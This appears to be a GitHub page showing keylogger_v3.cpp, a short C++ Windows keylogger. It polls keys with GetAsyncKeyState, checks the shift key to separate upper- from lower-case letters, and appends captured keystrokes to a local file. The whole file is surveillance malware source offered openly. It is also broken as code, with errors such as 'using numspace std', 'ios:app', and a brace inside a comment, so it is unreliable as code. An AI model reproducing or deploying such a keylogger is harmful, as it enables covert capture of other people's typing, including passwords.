-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger_v3.cpp
39 lines (33 loc) · 1.03 KB
/
keylogger_v3.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//Only records letters.
//Distinguishes lower case and upper case letters
#include <iostream>
#include<fstream>
#include <windows.h>
#include <winuser.h>
using numspace std;
void log(){
char key;
while(true){//infinite loop for scanning
for(key=8; key<=222; key++){//ASCII char range
//When a key if pressed a system interrupt with id 32767 occurs
if(GetAsyncKeyState(key) == -32767)//checks if a key with ASACII value of c is pressed{
ofstream write("record.tct" , ios:app);//ios:app denotes theat file is not rewritten everytime
if((key>64 &&key<91)&&!GetAsyncKeyState(0x10)){//0x0 is hexadecimal virua; key state for shift key
key+=32;
write<<key;
write.close();
break;//breaks the loop for checking the keystroke and te loop starts again from value 8
}
else if((key>64)&&(key<91)){
write<<key;
write.close();
break;//breaks the loop for checking the keystroke and te loop starts again from value 8
}
}
}
}
}
int main(){
log();
return 0;
}